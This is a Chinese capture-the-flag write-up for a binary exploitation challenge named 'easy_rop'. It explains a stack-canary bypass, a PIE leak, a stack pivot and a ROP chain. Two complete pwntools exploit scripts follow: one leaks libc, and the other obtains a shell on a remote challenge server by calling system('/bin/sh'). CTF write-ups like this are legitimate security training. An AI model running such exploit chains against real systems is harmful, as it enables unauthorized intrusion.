easy_rop
链接:https://pan.baidu.com/s/1ohXfpbiIb3jjHpYtcuS9xA
提取码:lz3e
文件防护
反汇编
调试的时候发现main函数的rbp居然是pie,而返回地址下面第四行是main函数自己的头部指针
已知条件
- 存在栈溢出,大小为4个栈单元
- 开启了canary保护,可以用’+'号绕过
- main函数的 rbp 为 pie(基址)
- main函数的返回地址下面存在main函数头部指针
解题思路
- 使用’+'号绕过canary值
- 劫持pie,通过pie和静态偏移得到想要的真实地址
- 第一次执行main函数时,迁移rbp指向 unk_201420 - 8 的位置
令rsp指向main函数头部指针,retn后再次执行main函数 - 第二次执行main函数时,迁移rsp指向 unk_201420 的位置
- 通过main函数的read函数向unk_201420写入rop链,功能:
- leak libc,得到版本信息,计算system函数和’/bin/sh’字符串在libc中的偏移
- 调用万能gadget,进行任意函数执行,由于leak libc后要进行利用的话需要计算偏移后再次写入rop链,所以这里使用read函数在下方构造system(’/bin/sh’)即可getshell
注意:exp中没有对负数进行处理,可能需要多打几次才行
Leak libc EXP
#-*- coding: utf-8 -*-
from pwn import *
context.log_level='debug'
elf = ELF('./easy_rop')
#r = process('./easy_rop')
r = remote('139.129.76.65', 50002)
'''first main'''
r.recvuntil('number 0: ')
#bypass canary
for i in range(0,30):
r.sendline('+')
#get pie
r.recvuntil('number 28 = ')
pie_l8 = int(r.recvuntil('\n',True), 10)
r.recvuntil('number 29 = ')
pie_h8 = int(r.recvuntil('\n',True), 10)
pie = (pie_h8 << 32) + pie_l8 - 0xb40
def send64(num):
#low 4byte
if num % 0x100000000 > 0x7fffffff:
r.sendlineafter(':', str((-1 * num) % 0x100000000))
else:
r.sendlineafter(':', str(num % 0x100000000))
#high 4byte
r.sendlineafter(':', str(num >> 32))
new_stack = pie + 0x201420 - 8
pop_rdi_ret = pie + 0xba3
general_gadget = pie + 0xb80
leave_ret = pie + 0xb31
pop_rbp_r14_r15_ret = pie + 0xb9f
pop_rbx_rbp_r12_r13_r14_r15_ret = pie + 0xb9a
#return to main
#the end rsp point to the main
send64(pop_rbp_r14_r15_ret)
#rbp to new stack
send64(new_stack)
r.sendlineafter('name?\n', '1')
'''secend main'''
r.recvuntil('number 0: ')
for i in range(0,28):
r.sendline('+')
#rsp to new stack
#rbp to new stack-8(pie + 0x201420)
send64(new_stack) #number 28 & 29 -- rbp
send64(leave_ret) #number 30 & 31 -- return address
r.sendlineafter('number 32: ','++') # number 32 & 33
r.recvuntil('name?\n',True)
#leak libc
payload = p64(pop_rdi_ret)
payload += p64(pie + elf.got['__libc_start_main'])
payload += p64(pie + elf.plt['puts'])
r.sendline(payload)
libc_start_main = u64(r.recv(6).ljust(8, '\x00'))
print('libc_start_main = ' + hex(libc_start_main))
r.interactive()
通过后三位偏移,使用在线网站libc database search搜索libc版本
Getshell EXP
本地一直无法成功,连上服务器能够成功getshell,暂时未定位到问题所在
#-*- coding: utf-8 -*-
from pwn import *
context.log_level='debug'
elf = ELF('./easy_rop')
#r = process('./easy_rop')
r = remote('139.129.76.65', 50002)
'''first main'''
r.recvuntil('number 0: ')
#bypass canary
for i in range(0,30):
r.sendline('+')
#get pie
r.recvuntil('number 28 = ')
pie_l8 = int(r.recvuntil('\n',True), 10)
r.recvuntil('number 29 = ')
pie_h8 = int(r.recvuntil('\n',True), 10)
pie = (pie_h8 << 32) + pie_l8 - 0xb40
def send64(num):
#low 4byte
if num % 0x100000000 > 0x7fffffff:
r.sendlineafter(':', str((-1 * num) % 0x100000000))
else:
r.sendlineafter(':', str(num % 0x100000000))
#high 4byte
r.sendlineafter(':', str(num >> 32))
new_stack = pie + 0x201420 - 8
pop_rdi_ret = pie + 0xba3
general_gadget = pie + 0xb80
leave_ret = pie + 0xb31
pop_rbp_r14_r15_ret = pie + 0xb9f
pop_rbx_rbp_r12_r13_r14_r15_ret = pie + 0xb9a
#return to main
#the end rsp point to the main
send64(pop_rbp_r14_r15_ret)
#rbp to new stack
send64(new_stack)
r.sendlineafter('name?\n', '1')
'''secend main'''
r.recvuntil('number 0: ')
for i in range(0,28):
r.sendline('+')
#rsp to new stack
#rbp to new stack-8(pie + 0x201420)
send64(new_stack) #number 28 & 29 -- rbp
send64(leave_ret) #number 30 & 31 -- return address
r.sendlineafter('number 32: ','++') # number 32 & 33
r.recvuntil('name?\n',True)
#leak libc
payload = p64(pop_rdi_ret)
payload += p64(pie + elf.got['__libc_start_main'])
payload += p64(pie + elf.plt['puts'])
#general gadget
payload += p64(pop_rbx_rbp_r12_r13_r14_r15_ret)
# 0 1 function parameter3 parameter2 parameter1
payload += p64(0) + p64(1) + p64(pie + elf.got['read']) + p64(0x666) + p64(new_stack + 8) + p64(0)
payload += p64(general_gadget) #general gadget address
r.sendline(payload)
#get libc_start_main
libc_start_main = u64(r.recv(6).ljust(8, '\x00'))
#print('libc_start_main = ' + hex(libc_start_main))
system_addr = libc_start_main + 0x24c50
bin_sh = libc_start_main + 0x16c617
payload = 'a'*80 #rsp offset
payload += p64(pop_rdi_ret)
payload += p64(bin_sh)
payload += p64(system_addr)
r.sendline(payload)
r.interactive()